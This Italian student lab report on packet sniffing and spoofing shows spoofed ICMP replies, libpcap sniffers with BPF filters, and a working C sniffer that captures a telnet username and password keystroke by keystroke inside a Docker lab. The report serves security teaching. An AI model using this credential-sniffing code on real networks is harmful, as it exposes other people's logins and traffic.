64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=11.7 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=64 time=45.4 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=2 ttl=64 time=5.45 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=118 time=11.4 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=3 ttl=64 time=9.90 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=118 time=11.2 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=4 ttl=64 time=5.39 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=118 time=38.2 ms (DUP!)
64 bytes from 8.8.8.8: icmp_seq=5 ttl=64 time=5.53 ms
--- 8.8.8.8 ping statistics ---
5 packets transmitted, 5 received, +4 duplicates, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 5.386/16.022/45.435/14.110 ms
root@408de82b15da:/#
Ora vediamo entrambe le risposte. Riguardo all’etichetta (DUP!): ping tiene traccia dei numeri di sequenza che ha già contato, quindi quando arriva una seconda risposta per un seq già visto, viene segnalata come duplicata e conteggiata nei +4 duplicates delle statistiche. Inoltre, ping -c 5 esce appena arriva la quinta risposta — qui la risposta falsificata per seq 5 ha vinto la gara, quindi la vera risposta di Google per seq 5 è arrivata quando ping era già uscito. Ecco perché contiamo 4 duplicati e non 5.
Comunque, l’attaccante ha visto:
root@zoroark:/volumes# python3 sniff_spoof.py
[*] Sniff-and-spoof on br-9d74a86fb5a6: answering every ICMP echo request
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9491 seq=1)
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9491 seq=2)
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9491 seq=3)
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9491 seq=4)
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9491 seq=5)
Quindi, tutto torna.
Parliamo brevemente della questione del secondo IP.
10.9.0.99 è un IP della LAN, non di Internet, nella stessa /24 dell’host. Quindi viene raggiunto direttamente, senza passare da nessun gateway, a differenza di 1.2.3.4.
Ora, per costruire il frame Ethernet, host A ha bisogno del MAC address di 10.9.0.99! Quindi invia un broadcast chiedendo “Who has 10.9.0.99?”, ma nessuno risponde, perché nessuno ce l’ha.
Dal ping otteniamo: From 10.9.0.5 icmp_seq=1 Destination Host Unreachable; è importante notare From 10.9.0.5: è il kernel stesso di host A a segnalare il mancato recapito, non una risposta dalla rete. Questo significa che l’attaccante non vede mai il tentativo di ping, perché il kernel di host A non trasmette mai l’ICMP echo request.
Possiamo vedere la differenza tra i due con ip route:
root@408de82b15da:/# ip route get 1.2.3.4
1.2.3.4 via 10.9.0.1 dev eth0 src 10.9.0.5 uid 0
cache
root@408de82b15da:/# ip route get 10.9.0.99
10.9.0.99 dev eth0 src 10.9.0.5 uid 0
cache
root@408de82b15da:/#
Il primo è marcato via 10.9.0.1, quindi passa dal gateway, mentre il secondo no, perché sta sulla stessa LAN dell’host.
Task 2.1A
Task 2 (facoltativo) — lo scheletro libpcap, root e modalità promiscua
Setup
Il task dice che dobbiamo compilare e copiare. In realtà, dato che la cartella volumes/ è condivisa tra la mia macchina e il container Docker, tutto quello che compilo lì compare anche dentro il container.
Ci viene dato questo codice:
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
/* This function will be invoked by pcap for each captured packet.
We can process each packet inside the function. */
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet) {
printf("Got a packet\n");
}
int main() {
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
char filter_exp[] = "icmp";
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name eth3.
// Students need to change "eth3" to the name found on their own
// machines (using ifconfig). The interface to the 10.9.0.0/24
// network has a prefix "br-" (if the container setup is used).
handle = pcap_open_live("eth3", BUFSIZ, 1, 1000, errbuf);
// Step 2: Compile filter_exp into BPF psuedo-code
pcap_compile(handle, &fp, filter_exp, 0, net);
if (pcap_setfilter(handle, &fp) !=0) {
pcap_perror(handle, "Error:");
exit(EXIT_FAILURE);
}
// Step 3: Capture packets
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle);
return 0;
//Close the handle
}
// Note: don't forget to add "-lpcap" to the compilation command.
// For example: gcc -o sniff sniff.c -lpcap
In this task, students need to write a sniffer program to print out the source and destination IP addresses of each captured packet. We advise you to answer the following questions:
Partiamo dalla prima domanda:
Question 1. Please use your own words to describe the sequence of the library calls that are essential for sniffer programs.
La sequenza parte dall’apertura (pcap_open_live), in cui scegliamo il dispositivo e apriamo la sessione di cattura. Poi c’è la fase di compilazione, in cui traduciamo la stringa di filtro leggibile in pseudo-codice BPF con pcap_compile(handle, &fp, filter_exp, 0, net);. Poi impostiamo il filtro (pcap_setfilter(handle, &fp)), collegandolo alla sessione così il kernel inizia ad applicarlo. Poi parte il ciclo, con pcap_loop(handle, -1, got_packet, NULL);. Qui pcap_loop funziona da listener. Ogni volta che arriva un pacchetto, chiama la funzione got_packet, che per ora stampa solo “Got a packet”. Quando abbiamo finito, chiudiamo la sessione con pcap_close(handle);.
Passiamo alla domanda 2:
Question 2. Why do you need the root privilege to run a sniffer program? Where does the program fail if it is executed without the root privilege?
Se eseguiamo il programma senza privilegi di root, fallisce nella prima fase: l’apertura della sessione con pcap_open_live. Questo perché catturare pacchetti richiede un raw socket, e senza privilegi di root otteniamo un errore Operation not permitted. Il kernel concede i raw socket solo a root, perché un raw socket espone il traffico di tutti. Nel Task 1.1 abbiamo visto che Scapy dava un errore proprio per questo motivo quando provavamo a eseguire il codice come student e non come root:
File "/usr/lib/python3.8/socket.py", line 231, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
E ora la domanda 3:
Question 3. Please turn on and turn off the promiscuous mode in your sniffer program. The value 1 of the third parameter in pcap open live() turns on the promiscuous mode (use 0 to turn it off). Can you demonstrate the difference when this mode is on and off? Please describe how you can demonstrate this. You can use the following command to check whether an interface’s promiscuous mode is on or off (look at the promiscuity’s value):
# ip -d link show dev br-f2478ef59744
1249: br-f2478ef59744: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
link/ether 02:42:ac:99:d1:88 brd ff:ff:ff:ff:ff:ff promiscuity 1 ...
Quindi, per questo task ho copiato il codice fornito in skeleton.c, cambiando solo eth3 in br-9d74a86fb5a6.
Ho avviato il programma:
root@zoroark:/volumes# ./skeleton
E con ip -d link show dev br-9d74a86fb5a6 vedo:
root@zoroark:/volumes# ip -d link show dev br-9d74a86fb5a6
5: br-9d74a86fb5a6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default
link/ether 66:d7:47:2d:d0:b7 brd ff:ff:ff:ff:ff:ff promiscuity 1 minmtu 68 maxmtu 65535
quindi l’interfaccia è in modalità promiscua. Provando un ping da host A a host B:
root@408de82b15da:/# ping -c 1 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.116 ms
--- 10.9.0.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.116/0.116/0.116/0.000 ms
root@408de82b15da:/#
dall’attaccante vedo:
root@zoroark:/volumes# ./skeleton
Got a packet
Got a packet
che corrispondono alla echo request e alla echo reply.
Ora cambio il flag da 1 a 0 in handle = pcap_open_live("br-9d74a86fb5a6", BUFSIZ, 0, 1000, errbuf); e vedo:
root@zoroark:/volumes# ip -d link show dev br-9d74a86fb5a6
5: br-9d74a86fb5a6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default
link/ether 66:d7:47:2d:d0:b7 brd ff:ff:ff:ff:ff:ff promiscuity 0 minmtu 68 maxmtu 65535
Direi bene. Facendo ping a host B come prima, ora l’attaccante non vede niente.
Cosa succede se, sempre con il flag promiscuo a 0, proviamo a fare ping a Google (8.8.8.8)?
root@408de82b15da:/# ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=12.6 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 12.557/12.557/12.557/0.000 ms
root@408de82b15da:/#
Vediamo:
root@zoroark:/volumes# ./skeleton
Got a packet
Got a packet
Perché?? Beh, perché in questo setup l’interfaccia su cui facciamo sniffing è anche il gateway della rete, quindi la cattura non promiscua mostra comunque tutto il traffico diretto a Internet. Su un normale host di una LAN, disattivare la modalità promiscua lascerebbe solo il traffico dell’host stesso.
Task 2.1B
Task 2 (facoltativo) — filtri pcap, due host e un range di porte
Writing Filters. Please write filter expressions for your sniffer program to capture each of the followings. You can find online manuals for pcap filters. In your lab reports, you need to include screenshots to show the results after applying each of these filters.
- Capture the ICMP packets between two specific hosts.
- Capture the TCP packets with a destination port number in the range from 10 to 100.
Bene, partiamo dal primo filtro.
Il filtro è un’espressione in forma di stringa, compilata con pcap_compile() e collegata con pcap_setfilter(). Per filtrare i pacchetti ICMP tra due host possiamo usare qualcosa come:
char filter_exp[] = "icmp and host 10.9.0.5 and host 10.9.0.6";
così corrispondono solo i pacchetti scambiati tra host A e host B.
Scrivo il codice vero e proprio con un paio di aggiunte:
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
/* Ethernet header (14 bytes) */
struct ethheader {
u_char ether_dhost[6];
u_char ether_shost[6];
u_short ether_type; // IP = 0x0800
};
/* IP header (20 bytes, no options) */
struct ipheader {
u_char ip_ihl:4; // header length
u_char ip_version:4; // version
u_char ip_tos; // type of service
u_short ip_len; // total length
u_short ip_id; // identification
u_short ip_frag; // fragment flags + offset
u_char ip_ttl; // time to live
u_char ip_protocol; // protocol: ICMP=1, TCP=6, UDP=17
u_short ip_checksum; // checksum
struct in_addr ip_src, ip_dst; // source and destination addresses
};
#define SIZE_ETHERNET 14
/* This function will be invoked by pcap for each captured packet. */
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet) {
struct ethheader *eth = (struct ethheader *)packet;
if (ntohs(eth->ether_type) == 0x0800) { // IPv4 only
struct ipheader *ip = (struct ipheader *)(packet + SIZE_ETHERNET);
char src_str[INET_ADDRSTRLEN], dst_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &ip->ip_src, src_str, sizeof(src_str));
inet_ntop(AF_INET, &ip->ip_dst, dst_str, sizeof(dst_str));
printf("Got a packet: %s -> %s (proto %d)\n",
src_str, dst_str, ip->ip_protocol);
}
}
int main() {
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// Task 2.1B: ICMP packets between two specific hosts, both directions
char filter_exp[] = "icmp and host 10.9.0.5 and host 10.9.0.6";
// Step 1: Open live pcap session on the bridge interface
handle = pcap_open_live("br-9d74a86fb5a6", BUFSIZ, 1, 1000, errbuf);
// Step 2: Compile filter_exp into BPF pseudo-code
pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN);
if (pcap_setfilter(handle, &fp) != 0) {
pcap_perror(handle, "Error:");
exit(EXIT_FAILURE);
}
// Step 3: Capture packets
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); // Close the handle
return 0;
}
Con lo sniffer in esecuzione sull’attaccante, faccio ping a host B da host A:
root@408de82b15da:/# ping -c 1 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.110 ms
--- 10.9.0.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.110/0.110/0.110/0.000 ms
root@408de82b15da:/#
E dall’attaccante vediamo:

(Stavolta il professore ha chiesto degli screenshot.)
Possiamo fare lo stesso facendo ping da host B:
root@f03d4f4306c4:/# ping -c 1 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.106 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.106/0.106/0.106/0.000 ms
root@f03d4f4306c4:/#
E l’attaccante vede due nuove voci, richiesta e risposta:

Ora un test negativo: da host A facciamo ping a Google.
root@408de82b15da:/# ping -c 3 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=25.6 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=25.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=115 time=25.2 ms
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 25.175/25.374/25.581/0.165 ms
root@408de82b15da:/#
E dall’attaccante non vediamo niente di nuovo:

Direi che il filtro sugli host funziona!
Per il secondo filtro ci viene chiesto di catturare solo i pacchetti TCP con porta di destinazione nel range da 10 a 100. Il codice è lo stesso, cambiamo solo l’espressione del filtro:
char filter_exp[] = "tcp and dst portrange 10-100";
e ho fatto qualche modifica per mostrare anche la porta:
/* This function will be invoked by pcap for each captured packet. */
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet) {
struct ethheader *eth = (struct ethheader *)packet;
if (ntohs(eth->ether_type) == 0x0800) { // IPv4 only
struct ipheader *ip = (struct ipheader *)(packet + SIZE_ETHERNET);
char src_str[INET_ADDRSTRLEN], dst_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &ip->ip_src, src_str, sizeof(src_str));
inet_ntop(AF_INET, &ip->ip_dst, dst_str, sizeof(dst_str));
if (ip->ip_protocol == 6) { // TCP: also show the destination port
u_int size_ip = ip->ip_ihl * 4;
struct tcpheader *tcp = (struct tcpheader *)(packet + SIZE_ETHERNET + size_ip);
printf("Got a packet: %s -> %s (TCP, dst port %d)\n",
src_str, dst_str, ntohs(tcp->th_dport));
} else {
printf("Got a packet: %s -> %s (proto %d)\n",
src_str, dst_str, ip->ip_protocol);
}
}
}
int main() {
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// Task 2.1B: TCP packets with destination port in the range 10-100
char filter_exp[] = "tcp and dst portrange 10-100";
// Step 1: Open live pcap session on the bridge interface
handle = pcap_open_live("br-9d74a86fb5a6", BUFSIZ, 1, 1000, errbuf);
// Step 2: Compile filter_exp into BPF pseudo-code
pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN);
if (pcap_setfilter(handle, &fp) != 0) {
pcap_perror(handle, "Error:");
exit(EXIT_FAILURE);
}
// Step 3: Capture packets
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); // Close the handle
return 0;
}
Vediamo, come posso dimostrare che funziona…?
Forse con netcat.
Metto un listener su host B sulla porta 50, che dovrebbe essere catturata:
root@f03d4f4306c4:/# nc -l -p 50
Poi da host A mi connetto a quella porta:
root@408de82b15da:/# nc 10.9.0.6 50
E sull’attaccante vedo:

Ed è giusto.
Se faccio lo stesso con un’altra porta, per esempio la 200:
root@f03d4f4306c4:/# nc -l -p 200
e:
root@408de82b15da:/# nc 10.9.0.6 200
l’attaccante non la vede:

Task 2.1C
Task 2 (facoltativo) — catturare una password telnet, un tasto alla volta
Sniffing Passwords. Please show how you can use your sniffer program to capture the password when somebody is using telnet on the network that you are monitoring. You may need to modify your sniffer code to print out the data part of a captured TCP packet (telnet uses TCP). It is acceptable if you print out the entire data part, and then manually mark where the password (or part of it) is.
Bene, per fare sniffing della password dobbiamo modificare un po’ il nostro codice. Prima di tutto torniamo al filtro di telnet sulla porta 23:
char filter_exp[] = "tcp and dst port 23";
Poi modifichiamo la funzione got_packet:
/* This function will be invoked by pcap for each captured packet. */
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet) {
struct ethheader *eth = (struct ethheader *)packet;
if (ntohs(eth->ether_type) != 0x0800) return; // IPv4 only
struct ipheader *ip = (struct ipheader *)(packet + SIZE_ETHERNET);
if (ip->ip_protocol != 6) return; // TCP only
u_int size_ip = ip->ip_ihl * 4;
struct tcpheader *tcp = (struct tcpheader *)(packet + SIZE_ETHERNET + size_ip);
u_int size_tcp = ((tcp->th_offx2 & 0xf0) >> 4) * 4;
char src_str[INET_ADDRSTRLEN], dst_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &ip->ip_src, src_str, sizeof(src_str));
inet_ntop(AF_INET, &ip->ip_dst, dst_str, sizeof(dst_str));
printf("Got a packet: %s -> %s (TCP, dst port %d)\n",
src_str, dst_str, ntohs(tcp->th_dport));
/* Data part: everything after the TCP header */
int payload_len = header->caplen - (SIZE_ETHERNET + size_ip + size_tcp);
if (payload_len > 0) {
const u_char *payload =
packet + SIZE_ETHERNET + size_ip + size_tcp;
printf(" Payload (%d bytes): ", payload_len);
for (int i = 0; i < payload_len; i++)
printf("%c", isprint(payload[i]) ? payload[i] : '.');
printf("\n");
}
}
Spiego le modifiche che ho fatto:
size_tcp = ((tcp->th_offx2 & 0xf0) >> 4) * 4: l’ultimo salto a lunghezza variabile. La lunghezza dell’header TCP si nasconde nel nibble alto di quel byte, contata in parole da 4 byte: lo stesso trucco diip_ihl, un livello più in profondità.payload = packet + SIZE_ETHERNET + size_ip + size_tcp: l’indirizzo di ogni header = indirizzo precedente + lunghezza precedente.header->caplen: quanta parte del pacchetto è stata effettivamente catturata, quindicaplen− (dimensioni di tutti gli header) = lunghezza del payload.- filtro
tcp and dst port 23: solo client → server, perché è la direzione in cui viaggiano i tasti premuti (password compresa). Gli echo del server sarebbero solo rumore.
Sembra a posto, ma proviamolo. Su host A apriamo una connessione telnet verso host B e facciamo login:
root@408de82b15da:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f03d4f4306c4 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 7.2.8-arch1-2 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Oct 5 09:41:38 UTC 2026 from hostA-10.9.0.5.net-10.9.0.0 on pts/2
seed@f03d4f4306c4:~$
E l’attaccante vede:
root@zoroark:/volumes# gcc -o sniffer_telnet sniffer_telnet.c -lpcap
root@zoroark:/volumes# ./sniffer_telnet
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (24 bytes): ........... ..!.."..'...
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (3 bytes): ..#
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (9 bytes): ....=.Q..
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (34 bytes): .. .38400,38400....'.......xterm..
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (3 bytes): ...
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (3 bytes): ...
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): s
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): e
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): e
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): d
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (2 bytes): ..
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): d
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): e
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): e
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): s
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (1 bytes): l
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Payload (2 bytes): ..
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Got a packet: 10.9.0.5 -> 10.9.0.6 (TCP, dst port 23)
Si vedono chiaramente sia seed sia deesl! Ed ecco la password, esattamente dove il manuale ci chiede di segnarla: subito dopo il payload di 2 byte che chiude lo username (il tasto Invio), i cinque payload da un byte d, e, e, s, l sono i caratteri della password, inviati un tasto alla volta, seguiti dall’Invio finale da 2 byte.
Osservazioni
Cosa è successo
Al di là dei singoli task, alcuni risultati sono stati più interessanti di quanto mi aspettassi.
La gara dei (DUP!) contro Google
Nel Task 1.4, fare ping a 8.8.8.8 con il programma di sniff and spoof in esecuzione ha prodotto due risposte per ogni richiesta: quella vera di Google e quella falsificata da me. ping marca con (DUP!) la seconda risposta per ogni numero di sequenza e la conta come duplicata. Con ping -c 5, ping esce appena arriva la quinta risposta: la mia risposta falsificata ha vinto quella gara, quindi la quinta risposta di Google è arrivata quando ping era già uscito. Ecco perché le statistiche dicono +4 duplicates e non 5.
Il ping che l’attaccante non vede mai
Fare ping a 10.9.0.99, un host inesistente dentro la LAN, fallisce prima che qualsiasi pacchetto arrivi sul cavo. Host A ha bisogno del MAC address della destinazione, quindi invia una richiesta ARP; nessuno risponde, ed è il kernel stesso di host A a segnalare Destination Host Unreachable. La echo request non viene mai trasmessa, quindi nessuno sniffer potrà mai vederla. Lo spoofing può rispondere solo a pacchetti che esistono davvero sulla rete.
La modalità promiscua sul bridge
Disattivare la modalità promiscua non ha ridotto quello che vedeva lo sniffer, e all’inizio mi ha sorpreso. Il motivo è il setup Docker: il container dell’attaccante gira in modalità host network e fa sniffing sull’interfaccia bridge, che è anche il gateway della rete. Tutto il traffico diretto a Internet ci passa legittimamente, quindi lo vede anche una cattura non promiscua. Su un normale host di una LAN, disattivare la modalità promiscua lascerebbe solo il traffico dell’host stesso.
Telnet perde un tasto alla volta
Il Task 2.1C ha catturato in chiaro un intero login telnet: lo username, la password, tutto, un carattere per pacchetto. Telnet invia ogni tasto in un segmento TCP a sé mentre scrivi, quindi non c’è niente da craccare: la password è lì, nel payload. Ecco perché SSH ha sostituito telnet.
Conclusioni
Cosa ho imparato
Sniffing e spoofing sono due facce della stessa medaglia: lo sniffing legge traffico che non era mai stato destinato a te, lo spoofing scrive traffico che finge di arrivare da qualcun altro. Ciascuno da solo è limitato; combinati, come nel Task 1.4, permettono a un attaccante di impersonare qualsiasi host verso qualsiasi vittima sulla LAN.
Cosa mi è rimasto:
- I raw socket richiedono root. Sia Scapy sia libpcap falliscono senza (
PermissionError/Operation not permitted), perché un raw socket espone il traffico di tutti. Ecco perché il container dell’attaccante gira come root. - BPF è ovunque. La stessa sintassi dei filtri (
icmp and host 10.9.0.5,tcp and dst portrange 10-100) funziona in Scapy, tcpdump, Wireshark e libpcap, perché il filtraggio avviene nel kernel, non nello strumento. - Lo spoofing inganna ping, ma sul cavo si vede. Le mie risposte falsificate portavano il vero MAC address del bridge (Scapy non può falsificarlo quando invia a livello 3), ma corrispondevano a
ideseqdella richiesta, quindipingle ha accettate senza battere ciglio. - I protocolli in chiaro non hanno segreti. Telnet non si limita a esporre la password: la invia un tasto per pacchetto. La cifratura (SSH) è l’unica soluzione; nessun filtro ti può salvare.
Il lab ha avuto anche la sua dose di trappole del C: inet_ntoa restituisce un puntatore a un unico buffer statico, quindi chiamarla due volte nella stessa printf stampa due volte lo stesso indirizzo. inet_ntop è l’alternativa sicura.
Uso dell'AI
Chi mi ha aiutato e in cosa
Ho usato GLM 5.3 per ricontrollare i miei risultati strada facendo: se le catture mostravano quello che pensavo e se le mie spiegazioni stavano in piedi. Si è guadagnato la pagnotta almeno una volta: nel Task 1.1A si è accorto che il mio primo “permission denied” era un problema di permessi del file, non la restrizione sul raw socket che stavo cercando di dimostrare.
In realtà avevo pensato di usare Claude, ma gli è bastato leggere “sniffing and spoofing” per decidere che il threat model ero io, e si è rifiutato. Il lavoro è andato a GLM 5.3.